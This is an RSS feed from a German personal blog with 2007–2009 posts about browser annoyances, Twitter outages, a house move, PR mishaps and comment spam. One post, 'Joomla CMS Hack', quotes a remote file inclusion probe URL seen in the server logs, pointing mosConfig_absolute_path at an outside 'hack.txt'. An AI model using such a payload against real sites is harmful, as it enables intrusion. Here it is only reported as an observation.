<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mike Schnoor &#187; Problem</title>
	<atom:link href="http://mikeschnoor.com/tag/problem/feed/" rel="self" type="application/rss+xml" />
	<link>http://mikeschnoor.com</link>
	<description>Social Media, Public Relations, Marketing, Kommunikation und Medien aus Köln</description>
	<lastBuildDate>Fri, 03 Feb 2012 19:41:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>Technisches Zipperlein</title>
		<link>http://mikeschnoor.com/2009/10/13/technisches-zipperlein/</link>
		<comments>http://mikeschnoor.com/2009/10/13/technisches-zipperlein/#comments</comments>
		<pubDate>Tue, 13 Oct 2009 07:52:41 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Blogkultur]]></category>
		<category><![CDATA[Public Relations]]></category>
		<category><![CDATA[Arbeitsrechner]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Rechner]]></category>
		<category><![CDATA[Technik]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/?p=3350</guid>
		<description><![CDATA[Mal ein ganz uneigenn&#252;tziges Beispiel: Rechner angeschaltet. F&#252;nf Minuten zum Hochfahren des Betriebssystems abgewartet. Anmeldemaske erhofft. Eines Besseren belehrt. Benutzername und Passwort eingegebene. Eingaben best&#228;tigt. In der Zwischenzeit einen Kaffee gezogen. Zur&#252;ckgekehrt und weiter gewartet. Browser gestartet. Outlook aktiviert. Feedreader ge&#246;ffnet. Dabei eine Pressemappe durchst&#246;bert. Arbeitsrechner hoffnungslos &#252;berlastet. Mails auf meinem Nokia N97 gelesen. Keine [...]]]></description>
			<content:encoded><![CDATA[<p>Mal ein ganz uneigenn&#252;tziges Beispiel: Rechner angeschaltet. F&#252;nf Minuten zum Hochfahren des Betriebssystems abgewartet. Anmeldemaske erhofft. Eines Besseren belehrt. Benutzername und Passwort eingegebene. Eingaben best&#228;tigt. In der Zwischenzeit einen Kaffee gezogen. Zur&#252;ckgekehrt und weiter gewartet. Browser gestartet. Outlook aktiviert. Feedreader ge&#246;ffnet. Dabei eine Pressemappe durchst&#246;bert. Arbeitsrechner hoffnungslos &#252;berlastet. Mails auf meinem Nokia N97 gelesen. Keine R&#252;cksichtsname von den aktivierten Programmen erwartet. Browser am Start. Outlook zieht nach. Feedreader ist der Letzte im Bunde. Man begr&#252;&#223;t den <a href="http://twitter.com/MikeSchnoor/status/4829326065">k&#252;hlen Morgen</a> in K&#246;ln Ehrenfeld.</p>
<p>Alles in allem verbringt man mit dieser technischen Unzul&#228;nglichkeit gut zwanzig Minuten, nur um sich f&#252;r die digitale Arbeit bereit zu machen. Selbstverst&#228;ndlich schafft man in dieser digitalen Wartezeit auch einige andere Dinge f&#252;r die PR-Arbeit, die sich mit analogen Schreibmethoden noch erledigen lassen. Und man findet ein kurzes Thema f&#252;r das Blog. Das ist gut so. </p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2009/10/13/technisches-zipperlein/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Firefox 3.0 mit kritischer Sicherheitsl&#252;cke</title>
		<link>http://mikeschnoor.com/2008/06/19/firefox-30-mit-kritischer-sicherheitsluecke/</link>
		<comments>http://mikeschnoor.com/2008/06/19/firefox-30-mit-kritischer-sicherheitsluecke/#comments</comments>
		<pubDate>Thu, 19 Jun 2008 12:59:56 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Firefox 3.0]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Sicherheit]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/?p=2740</guid>
		<description><![CDATA[Als h&#228;tte man es nicht schon vorher ahnen k&#246;nnen&#8230; unser liebster Browser in der neuen Version weist eine kritische Sicherheitsl&#252;cke auf, die bereits in den Vorg&#228;ngerversionen enthalten war. Firefox 3.0 ist und bleibt ein kleiner Albtraum&#8230; auch beim Online-Banking.]]></description>
			<content:encoded><![CDATA[<p>Als h&#228;tte man es nicht schon vorher ahnen k&#246;nnen&#8230; unser liebster Browser in der neuen Version weist eine <a href="http://www.heise.de/newsticker/Erste-kritische-Sicherheitsluecke-in-Firefox-3--/meldung/109676/">kritische Sicherheitsl&#252;cke</a> auf, die bereits in den <a href="http://www.golem.de/0806/60501.html">Vorg&#228;ngerversionen</a> enthalten war. Firefox 3.0 ist und bleibt ein kleiner Albtraum&#8230; auch beim <a href="http://mikeschnoor.com/2008/06/19/warnung-firefox-30-nicht-fuer-online-banking-geeignet/">Online-Banking</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2008/06/19/firefox-30-mit-kritischer-sicherheitsluecke/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Warnung: Firefox 3.0 nicht f&#252;r Online Banking geeignet</title>
		<link>http://mikeschnoor.com/2008/06/19/warnung-firefox-30-nicht-fuer-online-banking-geeignet/</link>
		<comments>http://mikeschnoor.com/2008/06/19/warnung-firefox-30-nicht-fuer-online-banking-geeignet/#comments</comments>
		<pubDate>Thu, 19 Jun 2008 08:07:55 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Banking]]></category>
		<category><![CDATA[Firefox 3.0]]></category>
		<category><![CDATA[Online Banking]]></category>
		<category><![CDATA[Problem]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/?p=2739</guid>
		<description><![CDATA[Bei einem Anbieter f&#252;r Online Banking ist mit Firefox 3.0 das &#8220;Abmelden&#8221; nicht m&#246;glich. Man wird mit nahezu fast jeder Aktion zur&#252;ck zur Konto&#252;bersicht geleitet. In einem anderen Browser kommt man dank aktiver Session nicht rein. Ich m&#246;chte nicht mitteilen, bei welchem Online Banking Anbieter ich die Dienste in Anspruch nehme. Firefox 3.0 ist also [...]]]></description>
			<content:encoded><![CDATA[<p>Bei einem Anbieter f&#252;r Online Banking ist mit Firefox 3.0 das &#8220;Abmelden&#8221; nicht m&#246;glich. Man wird mit nahezu fast jeder Aktion zur&#252;ck zur Konto&#252;bersicht geleitet. In einem anderen Browser kommt man dank aktiver Session nicht rein. Ich m&#246;chte nicht mitteilen, bei welchem Online Banking Anbieter ich die Dienste in Anspruch nehme. Firefox 3.0 ist also <a href="http://mikeschnoor.com/2008/06/18/angenervt-der-neue-firefox-30/">mit Vorsicht</a> zu genie&#223;en. </p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2008/06/19/warnung-firefox-30-nicht-fuer-online-banking-geeignet/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Angenervt: Der neue Firefox 3.0</title>
		<link>http://mikeschnoor.com/2008/06/18/angenervt-der-neue-firefox-30/</link>
		<comments>http://mikeschnoor.com/2008/06/18/angenervt-der-neue-firefox-30/#comments</comments>
		<pubDate>Wed, 18 Jun 2008 16:54:34 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[automatische updates]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Firefox 3.0]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Update]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/?p=2738</guid>
		<description><![CDATA[Es ist ja sch&#246;n, dass die Firefox-Community in einer gewaltigen Aktion mit einem Download-Rekort in das Guiness-Buch-der-Rekorde kommen m&#246;chte. Das ist nat&#252;rlich eine coole Aktion, es ist auch wirklich geeky &#8211; doch das Erfolgrezept sollte nur dann aufgehen, wenn man ein Download eigenst&#228;ndig per Hand ausf&#252;hrt und nicht hinter vorgehaltener Hand einen automatisierten Prozess einsetzt, [...]]]></description>
			<content:encoded><![CDATA[<p>Es ist ja sch&#246;n, dass die Firefox-Community in einer gewaltigen Aktion mit einem Download-Rekort in das Guiness-Buch-der-Rekorde kommen m&#246;chte. Das ist nat&#252;rlich eine coole Aktion, es ist auch wirklich geeky &#8211; doch das Erfolgrezept sollte nur dann aufgehen, wenn man ein Download eigenst&#228;ndig per Hand ausf&#252;hrt und nicht hinter vorgehaltener Hand einen automatisierten Prozess einsetzt, der sich als einfaches Update tarnt und fast von selbst je nach Einstellungen aktiviert. <a href="http://www.spreadfirefox.com/en-US/worldrecord">Schiebung</a>!</p>
<p>Ich hasse selbstherrliche Software, die sich einfach automatisch in meiner Abwesenheit auf eine neue Version schiebt. Auch wenn alle Welt den <a href="http://mozilla.com/firefox">Firefox 3.0</a> in den Himmel preist, mir ist das ziemlich egal. Ich bin stolzer Besitzer eines Internet Explorer 6.0 &#8211; nur um immer sch&#246;n die Abw&#228;rtskompatibilit&#228;t bei gewissen Web-Anwendungen zu &#252;berwachen. I like it old-school! W&#228;re da kein automatisches Update gewesen, h&#228;tte sich das Softwarepaket nicht einfach installieren lassen. Sicherlich spielt auch der Faktor mit bei, dass dieser Rechner zu Hause nicht nur von mir selbst genutzt wird. Ein Familien-Rechner halt. </p>
<p>Dennoch: Das fuzzelige Design vom Interface des Firefox 3.0 eckt einfach an jeder Ecke an. Runder geht&#8217;s ja kaum noch. Das &#228;hnelt schon fast so mancher Web 2.0 Seite. Auch ist die URL-Aktualisierung beim Eintippen in der Adresszeile absolut nervig. Menschenskind. Da helfen wirklich nur die <a href="http://lifehacker.com/396312/power-users-guide-to-firefox-3/">Tipps beim Lifehacker</a>, damit man dieses dumme Getue von Firefox 3.0 abstellen kann.</p>
<p>Also hilft wohl nichts, als auf die sicherheitsfanatischen Verr&#252;ckheiten mancher Zeitgenossen zu verzichten und sich einfach mit alter Software zu begn&#252;gen. Ich mochte den Firefox 2.0 &#8211; das war so sch&#246;n h&#252;bsch-h&#228;sslich, wie man es erwartet. Der Browser in der 3. Generation gleicht ja fast dem Internetexplodierer&#8230; naja, wer&#8217;s mag. Vielleicht nehme ich mir doch in K&#252;rze Opera als Standardbrowser &#8211; ist laut meiner Frau zumindest die bessere Alternative im Web. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2008/06/18/angenervt-der-neue-firefox-30/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Twitter: Fight The Whale</title>
		<link>http://mikeschnoor.com/2008/06/02/twitter-fight-the-whale/</link>
		<comments>http://mikeschnoor.com/2008/06/02/twitter-fight-the-whale/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 11:28:11 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Microblogging]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/2008/06/02/twitter-fight-the-whale/</guid>
		<description><![CDATA[Macht was. Das nervt. Twitter ist unglaublich lahm geworden. Dezentralisierung der Architektur, &#214;ffnung f&#252;r zus&#228;tzliche Angebote, und ein paar neue Server vielleicht? L&#246;sungsans&#228;tze zur Abhilfe gegen das Twitter Problem gibt es ja gen&#252;gend. Fight The Whale! Das ist doch kein Web 2.0 Zustand von Twitter mehr&#8230; &#228;tzend.]]></description>
			<content:encoded><![CDATA[<p>Macht was. Das nervt. <a href="http://www.twitter.com">Twitter</a> ist unglaublich lahm geworden. Dezentralisierung der Architektur, &#214;ffnung f&#252;r zus&#228;tzliche Angebote, und ein paar neue Server vielleicht? L&#246;sungsans&#228;tze zur Abhilfe gegen das Twitter Problem gibt es ja gen&#252;gend.</p>
<p><img src="http://mikeschnoor.com/upload/2008/06/twittercap.gif" class="center"></p>
<p><strong>Fight The Whale!</strong> Das ist doch kein Web 2.0 Zustand von Twitter mehr&#8230; &#228;tzend.</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2008/06/02/twitter-fight-the-whale/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>R&#252;ckblick auf den Umzug</title>
		<link>http://mikeschnoor.com/2008/05/26/rueckblick-auf-den-umzug/</link>
		<comments>http://mikeschnoor.com/2008/05/26/rueckblick-auf-den-umzug/#comments</comments>
		<pubDate>Mon, 26 May 2008 12:11:49 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Leben]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Telefon]]></category>
		<category><![CDATA[Umzug]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/2008/05/26/rueckblick-auf-den-umzug/</guid>
		<description><![CDATA[Anstrengend. M&#252;hsam. Umzugsunternehmen hat falschparkende Kfz nicht abschleppen wollen. K&#252;chenbauer ist nicht erschienen. Stunden des BHW-Prinzips mit Bangen, Hoffen, Warten. Heute sind andere K&#252;chenbauer dabei die K&#252;che aufzubauen. Immerhin ein positiver Lichtblick im Dunkel des Umzugs. F&#252;nf Tage offline. Bis zum 29. Mai kein Internet und Telefon zu Hause. Irgendwie stellt man fest, dass man [...]]]></description>
			<content:encoded><![CDATA[<p>Anstrengend. M&#252;hsam. Umzugsunternehmen hat falschparkende Kfz nicht abschleppen wollen. K&#252;chenbauer ist nicht erschienen. Stunden des BHW-Prinzips mit Bangen, Hoffen, Warten. Heute sind andere K&#252;chenbauer dabei die K&#252;che aufzubauen. Immerhin ein positiver Lichtblick im Dunkel des Umzugs.</p>
<p>F&#252;nf Tage offline. Bis zum 29. Mai kein Internet und Telefon zu Hause. Irgendwie stellt man fest, dass man rein privat gesehen ganz gut auf das Internet verzichten kann. Nur die Handynutzung ist manchmal sehr teuer, wenn die ewigen Telefonate gef&#252;hrt werden m&#252;ssen.</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2008/05/26/rueckblick-auf-den-umzug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Joomla CMS Hack</title>
		<link>http://mikeschnoor.com/2008/02/12/joomla-cms-hack/</link>
		<comments>http://mikeschnoor.com/2008/02/12/joomla-cms-hack/#comments</comments>
		<pubDate>Tue, 12 Feb 2008 21:16:22 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Blogkultur]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Web 2.0]]></category>
		<category><![CDATA[Weblog]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/2008/02/12/joomla-cms-hack/</guid>
		<description><![CDATA[Ich nutze hier im Blog definitiv WordPress, aber zahlreiche Anfragen werden auf nicht-existente URLs gemacht, die wohl irgendwie eine Hintert&#252;r beim Joomla CMS &#246;ffnen sollen. Hier ein Beispiel: /////////////?mosConfig_absolute_path=http://sonstwo.server.com/hack.txt Scheinbar ist die mosConfig_absolute_path im Joomla CMS oder in veralteten Versionen absolut anf&#228;llig f&#252;r zwischenmenschliche Schandtaten&#8230; naja, das wollte ich auch nur mal so mitteilen.]]></description>
			<content:encoded><![CDATA[<p>Ich nutze hier im Blog definitiv <a href="http://www.wordpress.org">WordPress</a>, aber zahlreiche Anfragen werden auf nicht-existente URLs gemacht, die wohl irgendwie eine Hintert&#252;r beim <a href="http://www.joomla.de/">Joomla CMS</a> &#246;ffnen sollen. Hier ein Beispiel:</p>
<blockquote><p><em>/////////////?mosConfig_absolute_path=http://sonstwo.server.com/hack.txt</em></p></blockquote>
<p>Scheinbar ist die mosConfig_absolute_path im Joomla CMS oder in veralteten Versionen absolut anf&#228;llig f&#252;r zwischenmenschliche Schandtaten&#8230; naja, das wollte ich auch nur mal so mitteilen.</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2008/02/12/joomla-cms-hack/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Pressearbeit mit Korrektur</title>
		<link>http://mikeschnoor.com/2008/01/31/pressearbeit-mit-korrektur/</link>
		<comments>http://mikeschnoor.com/2008/01/31/pressearbeit-mit-korrektur/#comments</comments>
		<pubDate>Thu, 31 Jan 2008 12:49:32 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Public Relations]]></category>
		<category><![CDATA[Fehler]]></category>
		<category><![CDATA[PR]]></category>
		<category><![CDATA[Presse]]></category>
		<category><![CDATA[Pressemitteilung]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Vodafone]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/2008/01/31/pressearbeit-mit-korrektur/</guid>
		<description><![CDATA[Vertippt! Verschrieben! Kurzum &#8211; alles ist falsch, die Aussage ist nicht richtig. Schon doof, wenn sowas &#252;ber ots verbreitet wird und dann wenige Minuten sp&#228;ter nachgebessert werden muss. Korrektur: vierter Absatz, statt Millionen Milliarden / Vodafone Deutschland gewinnt im Weihnachtsgesch&#228;ft 1,379 Millionen neue Kunden hinzu Nat&#252;rlich wurde in der zuerst versendeten Pressemitteilung der Fehler nachtr&#228;glich [...]]]></description>
			<content:encoded><![CDATA[<p>Vertippt! Verschrieben! Kurzum &#8211; alles ist falsch, die Aussage ist nicht richtig. Schon doof, wenn <a href="http://www.presseportal.de/pm/43172/1127659/vodafone_d2_gmbh">sowas</a> &#252;ber ots verbreitet wird und dann wenige Minuten sp&#228;ter <a href="http://www.presseportal.de/pm/43172/1127989/vodafone_d2_gmbh">nachgebessert</a> werden muss. </p>
<blockquote><p>Korrektur: vierter Absatz, statt Millionen Milliarden / Vodafone Deutschland gewinnt im Weihnachtsgesch&#228;ft 1,379 Millionen neue Kunden hinzu</p></blockquote>
<p>Nat&#252;rlich wurde in der zuerst versendeten Pressemitteilung der Fehler nachtr&#228;glich ausgebessert. Ein einfaches Prozedere, doch &#252;ber die Zustellung via E-Mail habe ich noch die Millionenzahl gesehen.</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2008/01/31/pressearbeit-mit-korrektur/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Formular absenden und bezahlen</title>
		<link>http://mikeschnoor.com/2008/01/30/formular-absenden-und-bezahlen/</link>
		<comments>http://mikeschnoor.com/2008/01/30/formular-absenden-und-bezahlen/#comments</comments>
		<pubDate>Wed, 30 Jan 2008 22:35:48 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Recht]]></category>
		<category><![CDATA[Datenschutz]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Vertrag]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/2008/01/30/formular-absenden-und-bezahlen/</guid>
		<description><![CDATA[Angeregt durch diesen Beitrag beim Lawblog kam ich auf die Idee, mir die dort thematisierte Webseite anzuschauen. Ich bezweifle beim Lesen der hier zitierten Zeilen, dass die Datenerfassung und ein daraus resultierendes Vertragswerk in der Praxis &#252;berhaupt durchf&#252;hrbar ist. Insbesondere wenn verschiedene Menschen einen Internetanschluss nutzen, bringt eine Erfassung und damit dargestellte Proklamation der m&#246;glichen [...]]]></description>
			<content:encoded><![CDATA[<p>Angeregt durch diesen <a href="http://www.lawblog.de/index.php/archives/2008/01/29/erpressung-bitte/">Beitrag beim Lawblog</a> kam ich auf die Idee, mir die dort thematisierte Webseite anzuschauen. Ich bezweifle beim Lesen der hier zitierten Zeilen, dass die Datenerfassung und ein daraus resultierendes Vertragswerk in der Praxis &#252;berhaupt durchf&#252;hrbar ist. Insbesondere wenn verschiedene Menschen einen Internetanschluss nutzen, bringt eine Erfassung und damit dargestellte Proklamation der m&#246;glichen Folgen ohne konkrete Zustimmung zu dem damit implizierten Verkauf einer Dienstleistung rein gar nichts.</p>
<blockquote><p>Um Missbrauch und wissentliche Falscheingaben zu vermeiden, wird Ihre IP-Adresse xxx.xxx.xxx.xxx bei der Teilnahme gespeichert. Anhand dieser Adresse sind Sie &#252;ber Ihren Provider: xxx.xxx.xxx.xxx.xxxyyyzzz.de identifizierbar. Durch Bet&#228;tigung des Button &#8220;Test starten&#8221; beauftrage ich be***e-te***n.de, f&#252;r mich den Berufs-Wahl -Test bereitzustellen sowie eine Auswertung &#038; Analyse zu erstellen sowie f&#252;r das be***e-te***n.de-Gewinnspiel zu registrieren. be***e-te***n.de wertet Ihren Test in Echtzeit aus und stellt Ihnen Daten und Fakten rund um das Thema Berufs-Wahl zur Verf&#252;gung. Der einmalige Preis f&#252;r die Teilnahme betr&#228;gt 59 Euro inkl. gesetzlicher Mehrwertsteuer.</p></blockquote>
<p>Na, zum Gl&#252;ck habe ich den Knopf nicht gedr&#252;ckt und m&#246;chte auch niemanden dazu animieren un&#252;berlegt zu handeln. Was aber macht man nur mit B&#252;chereien oder Internet-Cafés, wenn man wahllos im Internet Formulare abschickt und diese zur&#252;ck auf einen Internetanschluss gef&#252;hrt werden? Werden diese &#246;ffentlichen Einrichtungen und kleinen wirtschaftlichen Einheiten damit in den Ruin getrieben, wenn Heerscharen von unbekannten Nutzern im Internet-Café ein solches Formular mit unglaublich vielen (Falsch-)Angaben einfach absenden? Irgendwie tut mir z.B. Google ein wenig leid, wenn die hauseigenen Robots &#252;ber digitale Formulare crawlen und schlimmstenfalls das entsprechende Formular durch das einfache Verfolgen eines Links oder einer Form-Action insgeheim &#8220;indiziert&#8221; absenden. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2008/01/30/formular-absenden-und-bezahlen/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Stinkefinger der Musikindustrie</title>
		<link>http://mikeschnoor.com/2007/11/27/stinkefinger-der-musikindustrie/</link>
		<comments>http://mikeschnoor.com/2007/11/27/stinkefinger-der-musikindustrie/#comments</comments>
		<pubDate>Tue, 27 Nov 2007 07:33:20 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Recht]]></category>
		<category><![CDATA[Musik]]></category>
		<category><![CDATA[Musikindustrie]]></category>
		<category><![CDATA[Musikkonzern]]></category>
		<category><![CDATA[Musikunternehmen]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Rechte]]></category>
		<category><![CDATA[Urheberrecht]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/2007/11/27/stinkefinger-der-musikindustrie/</guid>
		<description><![CDATA[Die Welt war am vergangenen Wochenende so entspannend, dass man sich schon wundern konnte, was das n&#228;chste Spektakel darstellen w&#252;rde. Wie das Notizblog, Thomas Kn&#252;wer und zahlreiche andere berichten, hat die Musikindustrie Deutschlands den virtuellen Stinkefinger in einem absolut irref&#252;hrenden Flashlayer integriert. Vielsagend kommt die &#8220;Volksz&#228;hlung&#8221; aller Raubkopien keinesfalls daher. Der Zahlencounter wirkt wie Mumpitz [...]]]></description>
			<content:encoded><![CDATA[<p>Die Welt war am vergangenen Wochenende so entspannend, dass man sich schon wundern konnte, was das n&#228;chste Spektakel darstellen w&#252;rde. Wie das <a href="http://notes.computernotizen.de/2007/11/26/ifpi-zeigt-den-finger/">Notizblog</a>, <a href="http://blog.handelsblatt.de/indiskretion/eintrag.php?id=1599">Thomas Kn&#252;wer</a> und zahlreiche <a href="http://www.rivva.de">andere</a> berichten, hat die Musikindustrie Deutschlands den virtuellen Stinkefinger in einem absolut irref&#252;hrenden Flashlayer integriert.</p>
<p><a href="http://de.sevenload.com/im/vg9P5T3" rel="lightbox"><img src="http://de.sevenload.com/im/2gFlxJw" width="474" height="111" class="center"/></a></p>
<p>Vielsagend kommt die &#8220;Volksz&#228;hlung&#8221; aller Raubkopien keinesfalls daher. Der Zahlencounter wirkt wie Mumpitz aus Gro&#223;mutters Kocht&#246;pfen. Aber bittesch&#246;n, ich z&#228;hle auch gerne mit, wenn die Zeit verrinnt. Die Tatsache, dass deren <a href="http://www.musikindustrie.de">eigene Website</a> entsprechend neu gelauncht wurde, wirkt wie der silberne Teller, auf dem diese <a href="http://www.musikindustrie.de/fileadmin/images/flash/ifpi_zaehler.swf">kleine Frechheit</a> programmiert wurde.</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2007/11/27/stinkefinger-der-musikindustrie/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress: Hier sind die Trackbacks tot!</title>
		<link>http://mikeschnoor.com/2007/11/19/wordpress-hier-sind-die-trackbacks-tot/</link>
		<comments>http://mikeschnoor.com/2007/11/19/wordpress-hier-sind-die-trackbacks-tot/#comments</comments>
		<pubDate>Mon, 19 Nov 2007 12:44:35 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Blogkultur]]></category>
		<category><![CDATA[Bug]]></category>
		<category><![CDATA[Installationsproblem]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Setup]]></category>
		<category><![CDATA[Trackback]]></category>
		<category><![CDATA[Weblog]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/2007/11/19/wordpress-hier-sind-die-trackbacks-tot/</guid>
		<description><![CDATA[Hilfe! Dieses Blog pingt zwar, aber sendet keine Trackbacks. Gibt es da einen Trick um das wieder hinzubiegen? Ich bin auf die Mithilfe meiner Leser wirklich angewiesen&#8230; :) Danke!]]></description>
			<content:encoded><![CDATA[<p>Hilfe! Dieses Blog pingt zwar, aber sendet keine Trackbacks. Gibt es da einen Trick um das wieder hinzubiegen? Ich bin auf die Mithilfe meiner Leser wirklich angewiesen&#8230; :) Danke!</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2007/11/19/wordpress-hier-sind-die-trackbacks-tot/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Kommentieren sinnlos?</title>
		<link>http://mikeschnoor.com/2007/11/08/kommentieren-sinnlos/</link>
		<comments>http://mikeschnoor.com/2007/11/08/kommentieren-sinnlos/#comments</comments>
		<pubDate>Thu, 08 Nov 2007 09:36:43 +0000</pubDate>
		<dc:creator>Mike Schnoor</dc:creator>
				<category><![CDATA[Blogkultur]]></category>
		<category><![CDATA[Blogs]]></category>
		<category><![CDATA[Kommentar]]></category>
		<category><![CDATA[Kommentarspam]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Sinn]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Web 2.0]]></category>
		<category><![CDATA[Weblog]]></category>

		<guid isPermaLink="false">http://mikeschnoor.com/2007/11/08/kommentieren-sinnlos/</guid>
		<description><![CDATA[Es gibt einige Menschen, an denen sich die Geister scheiden. Irref&#252;hrende Benutzernamen, die keinesfalls ein Zeichen von Authorit&#228;t und Authentizit&#228;t sind, versuchen in Diskussionsforen und nat&#252;rlich auch in Weblogs das Geschehen, was sich dort abspielt, zu kommentieren. Dann passiert folgendes &#8211; der Kommentar wird als individuelles Geschreibse abgeschickt und man sieht ihn nat&#252;rlich und erfreut [...]]]></description>
			<content:encoded><![CDATA[<p>Es gibt einige Menschen, an denen sich die Geister scheiden. Irref&#252;hrende Benutzernamen, die keinesfalls ein Zeichen von Authorit&#228;t und Authentizit&#228;t sind, versuchen in Diskussionsforen und nat&#252;rlich auch in Weblogs das Geschehen, was sich dort abspielt, zu kommentieren. Dann passiert folgendes &#8211; der Kommentar wird als individuelles Geschreibse abgeschickt und man sieht ihn nat&#252;rlich und erfreut sich, dass der eigene Senf dem Internet am liebsten anonym beigesteuert wurde.</p>
<p>Doch halt &#8211; was vergessen gewisse Leutchen wieder? Richtig &#8211; Kommentare oder Diskussionsbeitr&#228;ge werden vielerorts durch zwei Sachen an der Ver&#246;ffentlichung gehindert. Einerseits gibt es die Moderationskontrolle durch einen Administrator, andererseits gibt es Spamfilter, die das System vor unerw&#252;nschter Werbung sch&#252;tzen. Meiner Erfahrung nach sind es bis zu 90% aller nicht-ver&#246;ffentlichten Kommentare, die vielmehr dem Spamfilter zum Opfer fallen. Mein pers&#246;nlicher Favorit darunter ist wiederum Akismet &#8211; und ich nutze es schamlos aus, dass man alle Spamkommentare auf einmal l&#246;schen kann. Es ist mir dabei recht egal, ob jemand auf Seite 7 der gefundenen Spams doch einen echten Kommentar hinterlassen haben mag, aber einen Vorwurf zu bringen, dass ich manuell zensieren w&#252;rde, finde ich absolut l&#228;cherlich. Wer von Technik nichts versteht, hat die Welt noch nicht kapeistert. Was f&#252;r eine sch&#246;ne Welt, in der wir mit dem Web 2.0 leben&#8230; nicht wahr? :)</p>
]]></content:encoded>
			<wfw:commentRss>http://mikeschnoor.com/2007/11/08/kommentieren-sinnlos/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Townster vom Netz genommen?</title>
		<link>http://mikeschnoor.com/2007/11/06/townster-vom-netz-genommen/</link>
